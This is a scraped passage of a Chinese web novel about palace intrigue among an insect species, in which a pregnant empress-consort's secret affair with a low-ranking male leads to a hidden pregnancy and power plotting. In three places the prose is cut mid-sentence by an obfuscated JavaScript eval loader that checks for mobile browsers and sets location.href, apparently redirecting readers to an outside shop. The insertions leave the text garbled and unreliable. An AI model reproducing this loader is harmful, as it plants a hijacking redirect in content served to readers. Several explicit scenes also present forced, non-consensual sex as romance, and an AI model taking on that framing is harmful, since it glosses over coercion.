他需要雄虫陪伴自己,可虫皇丈夫几次三番想留宿他的寝宫,他都不乐意,反而对洛菲斯这只低等的雄虫有种难以言说的感觉。 他可以撑到明天早上,然后做其它事情转移自己的注意力,不让自己被孕期雌虫的本性牵着走。 可随着时间一秒一秒过去,他想这只小雄虫想的有点心焦,这才半夜起来进了雄虫的房间。 他不知道自己的行为基于什么,只知道想和雄虫亲密无间,他想要雄虫拥抱自己。 可芬恩拒绝抱他,抗拒地将他往外推,泽费里诺本来心里焦躁,遇上雄虫这样抗拒,不免又开始用强。 他只要稍微用点力,芬恩就动弹不得,两只胳膊被雌虫禁锢在头顶。 泽费里诺的气息靠芬恩极近:“怎么,之前恨不得死在我身上,现在又不肯了?欲擒故纵?” 芬恩快被欺负哭了:“你总是这样对我,你让我以后怎么过?既然没打算给我一个名分,也不需要我在你身边陪伴,那我总得快点从这段感情中走出来不是吗?我无法给我未来的雌妻一个完好的身体,难道还不能保留一点真心吗?” 泽费里诺冷笑:“真心有什么用?等你出宫,你也会三妻四妾,到时候都不知道宠幸哪只雌虫,那时候的你,会记得我是谁?” 芬恩被他的话气到了:“雌君自己得不到一个完整的丈夫,就把所有的雄虫都想的那么坏,我不是你想的哪种雄虫,我以后只会有一个雌妻,我会对她非常忠诚。” 到现在,芬恩还是不愿意喜欢拟男人外形的雌虫,泽费里诺是个意外。 听到这里,得不到专一感情的雌君又开始发疯,没经过雄虫同意,就去强取他想要的东西。 雄虫尾勾又被强取,让雄虫根本毫无反抗之力。 芬恩仰头,眼睛的泪落在枕头上,他咬着牙,不肯呜咽出声。 感受着雌虫紧致,慢慢把尾勾包裹。 泽费里诺可太喜欢折磨他了,恶趣味又被满足:“对,我相信你会有一个雌妻,你能做到专一,你的雌妻会很爱你,只是他不会知道,你的尾勾被我用过,已经成了二手货。” 芬恩:“……” 泽费里诺似要把他的心剜出来:“而我也不会是你的专属,我会和虫皇生下一个可爱的孩子,这个孩子会是未来的虫皇,我依旧高高在上,而你什么都不是,我根本不会记得你。” 芬恩终于抽噎出声:“泽费里诺,我会恨你一辈子。” 位高权重的雌君才不怕这种威胁:“你在委屈什么?你到过虫皇雌妻的孕腔,你占了多大的便宜,哭给谁看呢?” 泽费里诺低头去吻掉他眼角的泪:“恨我好啊,恨比爱长久,你可以恨某只虫一辈子,却无法爱某只虫一辈子,一生那么漫长,你偏用这么长的时间来恨我,又怎么不算爱呢。” 芬恩:“……” 泽费里诺放开他的手腕,把他抱起来:“之所以恨我,是怪我没有给你爱罢了,可是这整个星际虫族,谁又配得上我的爱。” 芬恩抽泣着,像受了天大的委屈,明明泽费里诺没有短他吃,也没短他喝,还护着他在这皇宫不被欺负,可他就是委屈。 坐着不肯动,只顾着哭了,泽费里诺和他面对面坐着,把他的胳膊拉过来抱自己:“哭吧,你要是觉得这是折磨,那你还得哭半年。” 芬恩深呼吸,压下心中的痛感:“你这样玩弄雄虫的感情,就不怕遭报应吗?” 泽费里诺才不怕报应一说:“如果我只是玩了一只雄虫就遭报应,这虫族的所有雄虫都得被天打雷劈。” 芬恩:“……” 泽费里诺去亲他的眼睑:“看不见我的时候,想方设法地想见我一面,见到我了,又不肯抱一抱,你到底在想什么?” 芬恩没想到自己的行为会被发现,哑着声辩解:“我没有想见你,只是太闲了,总是想找点活干。” 泽费里诺不信,洞穿了雄虫的想法:“都胆大到敢在虫皇面前看我了,你说说你,年纪那么小,怎么就不怕死呢?” 芬恩抽噎着小声反驳:“怕死,最怕死了。” 泽费里诺轻声问:“怕死还总是想为了我去死?” 芬恩沉默一瞬:“如果你爱我,我可以为你去死,可是你不爱我。” 泽费里诺哦了声:“就因为不爱你,你就哭这么委屈,还要恨我。” 芬恩没回答,他觉得自己像个小丑,被这雌虫玩弄于股掌之中。 泽费里诺心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523101|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中忽而柔肠百转,抱紧他,下颌蹭着雄虫的耳尖:“求什么不好,非要求莫须有的爱情,你该跟我要钱,出宫了好躺平一辈子不工作。” 没受过苦的地球少爷,当亚雌被欺负没多久就侍奉帝后,基本上什么都不缺,就想吃点爱情的苦,他终于在这样的温情里,缓缓抱住雌虫,枕在他肩上:“嗯,你不爱我我就恨你,恨你一辈子。” 泽费里诺被他逗笑了:“那你恨吧,我这辈子是无法爱你了。” 芬恩:“……” 这次同房并不愉快,芬恩心情不好,尾勾也没那么强劲,可他对泽费里诺的爱已经无法用语言形容,还是完成了这场风月。 他不知道泽费里诺一个多月没有找他,突然这样是因为什么,他只知道,他的心在这一夜被伤透了。 泽费里诺离开,他疲惫地睡去时,眼角的泪还都在,迷迷糊糊,混混沌沌,总觉得身处幻境之中,好不真实。 可当他一睁眼,他依旧在帝后寝宫的某间房里,房间内还余留雌虫的香味,他没有回到地球时代,也没有逃出皇宫。 要是一直这么下去,他迟早被泽费里诺折磨死,死在这一场没有结果的感情里。 他要问问米安,有没有提前辞职离开皇宫的方法,他受够了这样绝望的日子。 得不到,不如眼不见为净。 帝后最近脾气尤其大,米安也是快被折磨地不成样了,终于伺候帝后用完早膳,米安也没时间去清点亚雌,就让几只管理亚雌去了,他则去找芬恩。 疲惫地坐在花园边休息的凳子上,米安跟芬恩吐槽帝后近来的情况:“哎哟我是真受不了了,好不容易被你侍奉地脾气好了点,最近又反复了,不是要吃辣的,就是要吃酸的,他的口味一向很清淡,这是故意折腾我们还是怎么了呀?” 芬恩一愣:“口味改变这么严重吗?他平时一点酸都不吃,水果有点酸都得吐掉。” 米安愁眉苦脸:“可不是嘛,跟怀孕了一样。可虫皇从未留宿帝后寝宫,他根本不可能怀孕,那就只有一个原因,他故意折磨我们这些侍从,以此为乐。” 闻言的芬恩停下手中活计,抬眼看向米安,心中忽如擂鼓:“雌虫怀孕也是这种症状吗?” 米安惊讶地问:“你作为亚雌,没受过这种教育?你好歹也高中毕业了,我记得生理课有教这方面的啊。” 芬恩感觉自己有点发抖,起身稳住心态:“学过太久了,都还给老师了。” 米安给他科普:“有的雌虫怀孕会发生味觉的改变,也会对雄虫信息素更需求,当然了,帝后是不可能怀孕的,我没见虫皇跟他同房,那可能就是想改变一下口味。” 芬恩拿在手中的锄头掉在了地上,他感觉自己有点懵,没有回答米安的话。 原本想问米安,有没有什么办法能提前辞职出宫,现在好像有更重要的事需要他去确认。 联想起雌君书房的那本《雌虫怀孕百科大全》,芬恩的心一阵惊似一阵。 泽费里诺昨晚那么反常,难道是因为怀孕了? 是他这只低等雄虫的?他要当爸爸了吗…… 29.第 29 章 联想到泽费里诺可能怀孕后,芬恩开始坐立不安,干什么都心不在焉,但碍于米安总喜欢找他,他还得假装镇定,内心都快焦灼成废墟了。 如果他猜想的没错,那泽费里诺明知道自己怀孕了,为何又不肯告诉他,猜测让他更加难熬。 是因为这个孩子来的不是时候?所以这位帝国的雌君没打算留下这个孩子? 可那不是芬恩一个的孩子,是他俩共同的孩子,泽费里诺这个做雌父兼母亲的,能那么狠心不要这个孩子吗? 芬恩当然知道情况不一样,泽费里诺不该生他的孩子,毕竟无名无分,如若雌君生了他的孩子,那这位帝国的瑰宝将不再是瑰宝,还不知道要被怎么诋毁。 他也理解泽费里诺的处境,可还是想争取一下。 他想找雌君问个明白,可一直没机会,米安经常伺候在雌君左右,虫皇也频繁来探望,带雌君出去玩,一出去就是一整天,晚上才回来。 芬恩等了几个晚上,泽费里诺都没来找他,他内心更煎熬了,总觉得每一秒都过得极其艰难。 终于,这天早上,虫皇来陪伴帝后用完早膳,有紧急公务要处理,便离开了帝后的寝殿。 米安要去清点亚雌的名额和数量,看谁迟到谁早退,进行赏罚,他跑来告诉芬恩:“我可能要忙一会儿,帝后早膳没怎么吃,你过会儿去御膳部厨房切点水果端给他,他在二楼书房看书。” 芬恩一听有机会靠近泽费里诺,立马应下来,还不能表现地太着急:“总管阁下尽管去吧,我忙完了手中的活,就去侍奉。” 事实上他没什么活,侍奉花草这个工作并没有多么复杂的过程,他每天就那点琐碎的事。 米安道过谢先走了,芬恩从花园里择了几株开得鲜艳的花,剪好,放在花瓶里,端去了帝后的寝殿。 泽费里诺不在寝殿,芬恩又去厨房找水果,知道他可能怀孕,不爱吃甜的了,芬恩就挑选了酸酸甜甜的杨梅,这些水果蔬菜都是宫廷专供,卖相十分好看。 这是最近帝后口味改变,负责采购的亚雌专门挑选的水果。 看着芬恩端走杨梅,亚雌们也只是好奇,却不会妄议:“真是奇了怪了,帝后最喜欢吃甜的,最近一口甜的水果都不吃。” 芬恩听见了,更证实了他的想法,无缘无故的,雌虫的口味为什么非发生改变? 他端着水果上了二楼,轻轻敲了帝后的书房门:“雌君,我来送水果。” 泽费里诺在看《怀孕百科》,听到芬恩的声音,从沙发起身,挺拔的身影走向书架,将书放回了原处,找了一本军事题材的书又坐回沙发上,这才开口:“进来。” 芬恩推开厚重的雕花合金门,看了一眼坐在沙发上的雌虫,低眉顺眼地走过去:“这是厨房今早刚采购的新鲜水果,米安阁下让我给你端上来。” 泽费里诺合上书本,从芬恩端的盘子里拿过一颗杨梅放在口中,酸涩甘甜的果汁,让他的胃口稍微好了点:“米安又偷懒去了,以为我脾气很好?” 芬恩将水果盘放下,蹲在他腿边,专用的水果叉扎起红心杨梅递到雌虫嘴边:“不是,他要去清点各部的亚雌,你的寝殿又不让其他亚雌进,他只能让我暂时代替一下。” 泽费里诺看到了他亚雌制服衣摆上的土,看了一眼没说什么,张嘴吃下他喂来的水果。 注意力转移到书本上,再次翻开那本无关紧要的书籍,其实心思没在看书上,心虚的雌君实在不敢看芬恩那双深情的眼,这让他总有一种负罪感。 一个不着急问,一个也不着急说,芬恩喂他水果,他慢条斯理地吃得津津有味。 气氛冗长沉默,芬恩感觉喉咙和心脏都被什么牵着,直到最后一口水果喂进雌虫润湿的双唇,看他张嘴咬住咀嚼,吞下。 芬恩这才漫不经心地开口:“我记得你不喜欢吃酸的,之前的水果,但凡有一点酸的,你都会吐掉,最近听米安说,你尤其爱吃酸的和辣的。” 泽费里诺眼睛没抬,依旧专注于书本:“哦,想换点口味罢了,你这么在乎我的状态?不是不想跟我接触吗?” 芬恩蹲得腿麻,缓了会儿跪在了茶几旁:“跟你接触一回事,有其它情况是另外一回事。” 泽费里诺的黑眸这才从书中移开,落在芬恩那张好看的脸上:“能有什么其它情况?” 芬恩注视着他的眼睛,湖泊蓝的眸没有胆怯,只有想一探究竟的坚定:“雌虫只有怀孕才会改变味觉,如果你没有跟我发生过那种事,我自然不会怀疑什么,可我就算等级低,也始终是雄虫,我和你有过很多次结合,我怎么能不怀疑?” 泽费里诺的心底有点慌了,可他面色依旧未变:“你可知你这些猜疑会置我于死地?” 芬恩自然知道:“我只是想知道,是不是我猜想的这种情况,就算我知道了会死,你也让我死的明白点。” 芬恩看似柔和,其实骨子里倔得很,他眼神坚定地看着泽费里诺,没有从雌虫眼中看到一点慌乱,也看不到自己的任何希望。 泽费里诺盯着他的眼睛几秒之后,薄唇里吐出让他绝望的话语:“就算你的猜想是对的又怎么样,反正没有办法留下来。” 芬恩听到这里红了眼眶:“所以真是我的孩子吗?” 泽费里诺憋着的一口气泄了,他放下书本,伸手将芬恩拉起来:“这个孩子来的不是时候,如果在我夺权成功后,有了这个孩子,我会很高兴,可现在他只会成为我的阻碍,我没法生下他。” 芬恩喉咙刺痛,眼睛酸涩难忍:“我知道你的处境,可我还是希望你能生下来,你会有办法的对吗?” 泽费里诺看了他一会儿,拉着他坐下拥抱了他:“洛菲斯,特殊时期,别给我为难,边境几颗星球被蝗虫族和红火蚁族群糟蹋的寸草不生,已经折损帝国几只军雌,虫皇束手无策之后,他会求我出战的,到时候我就可以利用这个机会拿到一半兵权,在那之前,我的肚子要是大起来,精神力超过S级的高级虫都会发现,那时我就百口莫辩。” 芬恩的心紧紧地揪着,他的脸埋在雌虫的肩上:“可孩子是无辜的。” 泽费里诺轻轻地抚着他的头发:“就当这个孩子和你我无缘,既然你有生育能力,这是一件值得高兴的事,等你出皇宫了,有的是雌虫给你生孩子,不在乎这一个。” 芬恩的手用力抓着雌虫的胳膊,眼泪无声地落在雌虫的肩上:“那不一样,你生的,和别人生的,根本不一样。” 泽费里诺沉默了,他的手指轻轻地敲着雄虫的背,也莫名生出一股悲凉疼痛感,半晌以后,才发问,可喉咙发涩:“有什么不一样。” 芬恩摇头,他说不上来,但他知道不一样。 有没有一种方法,让泽费里诺把孩子生下来,他带出宫去独自抚养? 当然,他的想法很天真,在这守卫森严的皇宫,帝后怀孕,生了个孩子,怎么可能瞒得过所有虫? 芬恩越想越窒息:“如果我有这个孩子,以后就算没有你,我也会过得稍微自在点。” 泽费里诺低着头,薄唇紧抿着,下颌蹭着雄虫的银发:“没有我的牵绊,你才会过得更实在一点,洛菲斯,想开点。” 芬恩也想看开,可是让他怎么看得开,最爱的雌虫怀了他最期待的孩子,而两者他都无法得到。 一种前所未有的悲怆在胸腔炸开,芬恩觉得自己的心快被凌迟了,命运怎么能这么对他? 一个直男,爱上一个拟男人外形的雌虫,还有了孩子,可他的结局却是一无所有。 什么都得不到。 芬恩感觉自己的世界一下子空洞了:“真的不能再想想办法吗?我会自己带他,自己抚养他,一定把他教得很好,你不是整个虫族最厉害的雌虫吗?救救他好不好?” 一向淡定自若,高高在上的帝国雌君,这一刻心脏也像裂开了一道口子,他好像没因为什么这么痛过。 知道塞塔斯出轨,他也只有愤怒和不甘,只觉得这些年的付出和努力都付诸东流,却没有这么清晰的痛感。 雄虫低声乞求的破碎让他的心也跟着破碎了一样。 泽费里诺轻轻地出了口长气:“洛菲斯,你听话,这个孩子只会给你招来杀身之祸,你知道虫皇是什么样的雄虫,他会因为这个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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帝后以回娘家为由,躲开了塞塔斯和所有盯梢眼线的监视,回公爵府做洗孕腔标记的手术了,他让两位父亲保密,更不能让虫皇知道,越少虫知道越好。 芬恩什么都知道,也当作什么都不知道,每天重复毫无意义的事情,活得像个行尸走肉。 米安觉得他不对劲,变得十分沉默,也不怎么爱笑了,更不爱说话,看到谁都只是瞥一眼,转头继续干自己的活。 米安猜想,这亚雌是不是受什么刺激了?自从让他帮自己侍奉帝后端点水果上书房之后,他就像丢了魂一样。 米安心想,估计帝后又给孩子脸色看了,不然哪能这么无精打采? 芬恩以前对于帝后的事十分上心,可自从那之后,他不再关注泽费里诺。 到底发生了什么,谁也不知道。 而泽费里诺回公爵府,和两位父亲谋划洗标记,声称孩子是虫皇的。 两个父亲劝他冷静点,他都没当回事。 毕竟打掉皇嗣是重罪,家里的高级虫也不敢声张,自然会为泽费里诺偷偷手术。 两位长辈劝了很久没劝住,可当这位铁血雌君躺上手术台后,却又突然反悔了。 心腹医生的医疗器械都准备齐全了,这位雌君光着身子跳下了手术台,挺拔的身影穿好衣服,又淡定地走出了秘密手术室。 赫斯公爵和埃里诺在外面等着,见他刚进去就出来,雌父惊喜地问:“是不是后悔了?怀上皇嗣是多大的喜事,就算塞塔斯恶心,但这个孩子非要不可。” 泽费里诺觉得雌父说的对:“没错,这个孩子,我非要不可了,我不但要他平安出生,我还要让他以后当上这帝国的虫皇。” 赫斯公爵看着自己的儿子,赞赏地点头:“这才是你泽费里诺,运筹帷幄,决胜千里。” 黑发雌虫身影颀长,背对着两位父亲挥挥手:“我回皇宫了,这件事,请保密。” 家族所有虫都盼着他好,自然不会出卖他。 这位看似冷静的雌君,其实为了一只小雄虫,内心早疯魔了,只是他自己不知道。 不是皇嗣又如何,只要是他泽费里诺的孩子,不管是哪只雄虫的,都得是未来的虫皇,帝国的皇储! 塞塔斯不配得到他的孕腔,也没资格让他生孩子,只有小雄虫……既然如此,那就给虫族换个皇帝吧,他还是要当这帝国唯一的帝后,雌君。 塞塔斯德不配位,那就换个他自己喜欢的雄虫上位,他怎么把塞塔斯扶上皇位的,他就怎么把另外一只雄虫也扶上去…… 30.第 30 章 泽费里诺没打算告诉小雄虫,孩子还好好地活在肚子里,对于高级雌虫而言,洛菲斯年纪小,扛不住事,万一知道孩子还在,这只小雄虫估计能为这个孩子豁出一切。 泽费里诺的目的很简单,让小雄虫安安稳稳活到他推翻塞塔斯统治的一天,到时候谁当虫皇还不是他这个帝国独一无二的雌君说了算。 在那之前,小雄虫只需要好好地活下去就行,至于怎么瞒过帝国所有的高级虫,他会想办法。 于是他半路又回了公爵府,在公爵府待了两天,虫皇塞塔斯想念他,便又去把他接回来,这期间他再没见过小雄虫。 塞塔斯和军雌艾维尔进行了精神力和信息素的解绑,他想让泽费里诺怀孕,用一个孩子牵制这只强大的雌虫和其庞大的家族,当然他在和军雌解除精神力的绑定后,才发现这些年他一直喜欢的是泽费里诺。 艾维尔对他进行精神识海的控制,才让他看不清自己的感情,虽然解绑了,但要和泽费里诺同房备孕,估计还得半年的恢复时间。 而这半年时间刚好给了黑发雌虫休整的机会,泽费里诺在想办法拿回属于他的兵权。 塞塔斯一想到自己对帝后做过什么,就懊恼不已,试图挽回他和帝后的关系。 这天把泽费里诺从公爵府接回来,虫皇尽早地处理完公务,来帝后寝宫陪同吃饭,他有意留宿在帝后这里。 大家都觉得帝后苦尽甘来,虫皇终于开始重视帝后,米安侍奉两位高级虫用完晚膳,虫皇有体己话要和帝后说,他便早早地离开寝宫,到处走一走。 路过花园时,看到花园里各色的花都绽放异彩,芬恩还在忙碌,他走过去看了一眼:“你把这些花养的真好。” 芬恩言语温煦清淡:“最近天气好,也没有雨,光照足,开的花好看。” 米安坐在一边他休息的凳子上:“咱们帝后可算是苦尽甘来了,虫皇终于要留宿了,不多久啊,咱们帝后的肚子里,该有皇储了。” 听到这里,芬恩内心很平静,这些天他已经接受了自己的结局,反而担心泽费里诺刚做完手术,就和虫皇同房,那身体能扛得住吗? 事实上塞塔斯现在也不敢和泽费里诺同房,信息素和精神力刚解绑,需要恢复的时间,贸然和雌虫进行孕腔的标记,只会损伤他的精神力。 只是和帝后的感情需要凝固,哪怕在一张床上睡觉也是好的,他想抱抱泽费里诺,他的雌妻。 泽费里诺的态度很冷淡,洗完澡,长发用精神力一甩就干了,穿着睡衣从浴室出来,发现塞塔斯还没走。 他黑色的冷眸瞥了一眼,语气冷淡:“陛下还不回自己的寝宫?” 塞塔斯坐在沙发上,抬眼看着雌虫露出睡衣衣领的白皙皮肤和精致的锁骨,咽了咽唾沫,上面还有水珠在滚:“我今晚想陪你。” 泽费里诺怔了一下,倒是没有说什么过分的话,而是进了衣帽间找了新的黑色抑制环扣在修长的脖颈上。 虫皇眸色微沉:“睡觉还戴着抑制环?” 泽费里诺回答:“平时不戴,但陛下想留宿在我这里,为了尊重你,我只能戴。” 塞塔斯摇头:“不需要,你我本就是夫夫,何故多此一举。” 泽费里诺没理会他的言语,上了床靠在床头开始刷终端新闻。 边境几颗星的情况很糟糕,蝗虫族和红火蚁族的入侵,让虫民叫苦不迭。 泽费里诺看一眼朝他走来的虫皇:“最近总是刷到边境星的新闻,陛下没打算好好解决一下吗?那些虫民难道不是虫族的虫民吗?” 塞塔斯听到这里也是力竭,他坐在了床沿:“我天天都在为这事发愁,我堂堂虫族帝国,竟然没有一只军雌肯为我分忧,派出去平乱的军雌损失了好几只,被红火蚁族群打的节节败退,这群恶心的东西繁殖快,进化也比我们强,我也不知道该怎么办。” 泽费里诺毫无情绪地开口:“让艾维尔军雌去,除了他,现在帝国的军雌精神力能和红火蚁一战的,只有我,可我已经卸甲,不问政事,自然无法为陛下分忧。” 塞塔斯沉默了片刻:“艾维尔吗?” 泽费里诺洞穿了塞塔斯的想法:“陛下舍不得军雌去冒险,但毕竟我万千虫民处于水深火热,这些恶心的东西不除,边境永不安宁,他们是入侵来的。” 塞塔斯不想讨论这件事,身子微微往雌虫身边凑:“先不提这些事了,今晚是来陪你的,不能扫兴。” 泽费里诺察觉到虫皇有亲密的举动,在他朝唇上亲来时,泽费里诺侧头躲开了:“我不需要陛下陪伴,习惯了,陛下也别多此一举。” 塞塔斯的亲吻被拒绝,他有些不悦:“你还在生我的气,我跟你保证,以后都不会再和军雌牵扯,我的雌妻只有你。” 泽费里诺的言语更不悦:“陛下毁约在前,况且和军雌刚进行过解绑,身体机能还没恢复,就不要做这种高危动作了,免得我的精神力强大,伤了你,那就是我的罪过。” 塞塔斯被雌虫两句话怼得不知道说什么好:“你总是这样,脾气倔的要命,一点错都要被你放大,算了,你不喜欢我陪你,那我回去,不过等我恢复,我俩的孩子肯定是要有,你也做好备孕的准备。” 泽费里诺唇角戏谑地一挑:“那就静待陛下的好消息,希望边境的叛乱别让陛下过于忧心才好。” 塞塔斯又何尝没想过泽费里诺,如果让他的帝后去,不出数月,这乱肯定就被平了,可他好不容易才从泽费里诺手中把兵权拿回来,再放虎归山,那不是自掘坟墓吗? 他没那么蠢,好不容易把这雌虫掌控在自己的范围内,又怎么能让他去外屯兵。 塞塔斯一直忌惮泽费里诺和他庞大的家族,故而这兵权一时半会还不会放回泽费里诺手中,除非战况不可控威胁到帝国疆域的时候。 泽费里诺也不着急,他倒要看看虫皇要怎么解决,舍不得让艾维尔去,那一定舍得让他去。 只可惜,放虎归山的道理谁都懂,塞塔斯不敢用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531220|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 虫皇扫兴地走了,米安都准备搬到亚雌寝室去住一晚,结果帮抱着被子从房间出来,就看到虫皇匆匆出了帝后的寝殿。 为帝后操碎心的亚雌总管,也是深深叹了口气:“怎么来了又走?我们帝后的命怎么这么苦啊。” 他又把被子抱回房间,去看泽费里诺需要什么。 泽费里诺什么都不需要,让他备点水果就休息去,不早了。 米安便离开了寝殿,洛菲斯最近睡得很早,房间的灯已经灭了,作息很规律。 米安也进门,关好门窗,准备睡觉。 泽费里诺没有睡意,腹中的胎儿成长需要雄父的信息素,原本没打算要这个孩子,所以他最近忍着没去找小雄虫。 入夜之后,寝宫院子里的虫灯自动灭了,他才起身,悄无声息地推开了小雄虫的房门。 芬恩已经佛系了,只想快点熬过半年,离开这个是非之地,他也不再关注泽费里诺的动向,知道虫皇今晚留宿,他睡得格外早,不想再被一只雌虫牵着情绪和心脏。 他入睡很快,一段看不到结果的感情,让他身心疲惫,很久没睡过好觉,决定放下之后,反而好受了点。 以前总是决定放下,可经常因为泽费里诺一个举动前功尽弃,而如今的心如止水,是他用一个孩子的生命换来的。 他知道,他不能再任性了。 可梦中,他又梦到和泽费里诺接吻,那种感觉十分真实,他好像隔着一个梦,触到了雌虫柔软的唇瓣。 他扣住雌虫的脑袋,加深他俩之间的吻,直到嘴被迫张开,他才在黑暗中睁了眼。 意识到身上的雌虫是谁时,芬恩愣了片刻,睁眼的瞬间,尾勾也到了熟悉的孕腔。 泽费里诺还在亲他,芬恩反应过来躲开了他的亲吻,着急地将尾勾从雌虫孕腔撤离。 他慌乱地坐起来,心脏被什么抓住了一样,往外撕扯的疼,他哽着声音在黑暗里小声问:“你疯了吗?刚做完手术就这样……” 开口才发现,说出的话依然是句句关心,他对自己无能为力。 泽费里诺往他怀里爬,坐到他身上去:“抱着。” 芬恩:“……” 雄虫无动于衷,内心寂寥如荒原,他把自己的尾勾收起来,不让泽费里诺碰。 泽费里诺察觉到了,一把将他拉过来,摁在床头,又把他的尾勾拿出来。 他一手捏着芬恩的下巴,坐在雄虫的尾勾上,感受熟悉的撑感:“最近都不愿意看我了,当真不喜欢了?” 芬恩无力,无助:“你要折磨死我才甘心吗?” 泽费里诺低头咬他的唇角:“嗯,只要你活着,你的尾勾就属于我,你得没日没夜地用尾勾取悦我,直到你死的那天。” 芬恩:“……”待不下去了,他得尽快想个办法逃离这只已经疯魔的雌虫,男人和雄虫的尊严,都让他不能被这么玩儿。 哪怕多爱,也不能一错再错,他已经死了一个孩子了。 31.第 31 章 以前让他觉得身心愉悦的事情现在也变成了一种痛苦,他在心理上排斥和黑发雌虫做这种事,所以整个过程他并不好过,反而觉得尾勾的疼痛带动了心脏上流血的裂隙,让他喘不过气。 让他迷恋的雌虫孕腔,成为了杀死一个小生命的牢笼,这对于一个天生善良的人类灵魂而言,比任何事情都恐惧,他知道在这个世界死一只虫子并不是什么值得唏嘘的事,可死的是他的孩子。 哪怕泽费里诺强取了他的尾勾,芬恩也拒绝提供信息素,他咬着后槽牙,不让自己再犯一次错误。 泽费里诺感觉到他全身肌肉紧绷,好像是一种极度防御的姿态,以前的小雄虫从不会这样。 像是察觉到什么,泽费里诺在黑暗里捧住他的脸颊,雄虫的泪又落了满脸,沉默片刻,问出了心中的疑惑:“你为什么不开心?不是喜欢我,爱我吗?哭什么?之前不是天天盼着我这样对你吗?” 芬恩对泽费里诺依旧心存爱意,但他对自己作为低等雄虫的身份无能为力:“求你别折磨我了,给我一个痛快。” 泽费里诺再次陷入沉默,他抱住芬恩半天没有动,也没有说话,听到雄虫轻微的啜泣声之后,良久,他才说了一句:“有些事我不能什么都跟你说,但有一点我得提醒你,你没办法离开皇宫了,我反悔了。” 芬恩:“……”好不容易看到的自由的希望,又因为泽费里诺一句话,将他的希望焰火掐灭在无尽的黑暗里。 他搭在雌虫背上的修长手指开始发抖:“你要杀了我吗?如果是的话,那我也请你早早动手。” 他受够了这种看不到希望的日子,说不定死了之后他还能回到属于他的时空,而不是留在这里被一只雌虫玩弄。 泽费里诺听到他不情不愿的声音,以及宁愿死都不肯多说一句好话的语气,心里渐渐升起怒气:“不,我不杀你,那样显得我没肚量,我会留着你,让你这辈子只能看着我,再也无法和其他雌虫合尾。” 芬恩:“……” 泽费里诺的薄唇贴着他的耳朵,轻声的笑有些邪恶:“既然雄虫能有多只雌虫当老婆,那我有多只雄夫有什么错?” 芬恩:“……”好有道理,他竟然无法反驳,这意思也就是让他和虫皇共享老婆吗? 不,他做不到,一想到这样抱过自己,和自己紧密结合过的拟人虫,又要抱着虫皇那样的渣虫索取尾勾,他就心如刀绞。 他们也会这样肌肤相亲,耳鬓厮磨,唇舌纠缠,严丝合缝…… 那怀过他孩子的孕腔,以后会被其他雄虫的虫宝霸占,他的心又死一回。 他告诉自己:想个办法逃吧芬恩,难道真的要死在这样肮脏的地方吗? 不能就这样认命,总会有办法的对吗? 芬恩也只能这样安慰自己,其实心里很明白,他并没有任何机会离开这里,除非泽费里诺放他走。 一直打算问米安,有什么方法可以提前辞职,也为了泽费里诺没问出口,这晚过后,他坦然地跟米安问了出宫的方法。 可米安告诉他:“很抱歉洛菲斯阁下,你跟皇宫有五年协议,你这才两年半,明年才是第三年,除非你死,不然你是不能离开皇宫的,这是规矩。” 芬恩听到这里也知道没希望了,便再没问,米安好奇地问:“你为什么这么着急离开?你的工作是整个皇宫最轻松的,只需要把帝后的那几株花照顾好就行,薪资照常发,偶尔还会有提成和额外的奖励,说真的洛菲斯,你是我见过最命好的亚雌,多少亚雌熬十年都不一定有你现在的待遇,关键帝后真的对你很好。” 是吧,所有亚雌都觉得他是帝后身边的红虫,没有任何亚雌敢欺负他了,就连虫皇想问他的罪还得看帝后的脸色。 可谁又知道芬恩的绝望,爱上一只不可能的雌虫,让他心力交瘁,只想躲到一个没人认识他的地方,好好疗愈一下心里裂开的伤口。 没有虫理解他的心情,包括泽费里诺。 他不问了,只是朝亚雌总管笑笑:“想回家探望父母,太长时间没看到他们。” 米安说:“那没事,这个星期我把你的终端下发给你,周末给你放假一天,你跟家里人打个视频联系一下。” 芬恩礼貌道谢:“谢谢总管阁下。” 还真是对他宽容,实际上他并没有什么亲属可以联系,对于那个家里而言,他可有可无,死在哪里都行。 这样想来,原主洛菲斯的遭遇还真是惨,如果是原主的话,为了证明自己,一定会抓住这个机会不顾一切地往上爬吧? 可芬恩不是原主,他只是误入这个世界的一个人类灵魂。 泽费里诺最近索求尤其频繁,每天半夜都来,芬恩感觉这样下去,就算他不是被感情折磨死的,也是被泽费里诺榨干而亡的。 他实在想不明白,一只刚洗完孕腔标记的雌虫,怎么那么不爱惜自己,难道不在易感期,他的信息素就无法标记雌虫孕腔吗? 他对这方面并不是很了解,知识面比较匮乏,只知道泽费里诺不知节制。 这天晚上芬恩抱着他也是无奈,小声关怀:“好不容易洗了标记,你又这样,我不得重新给你标记上,那到时候虫皇发觉怎么办?” 泽费里诺趴在他怀里,声音娇憨慵懒:“洗去标记的孕腔没有专一性标记,只会被更强大的标记覆盖。” 芬恩心里一抽:“所以你就这么折磨我,我没有一点点的平民虫的权利。” 泽费里诺闭着眼睛嗯一声:“都侍奉我了,你要什么平民权利,荣华富贵我都不会短了你,要什么有什么。” 芬恩补充:“除了名分。” 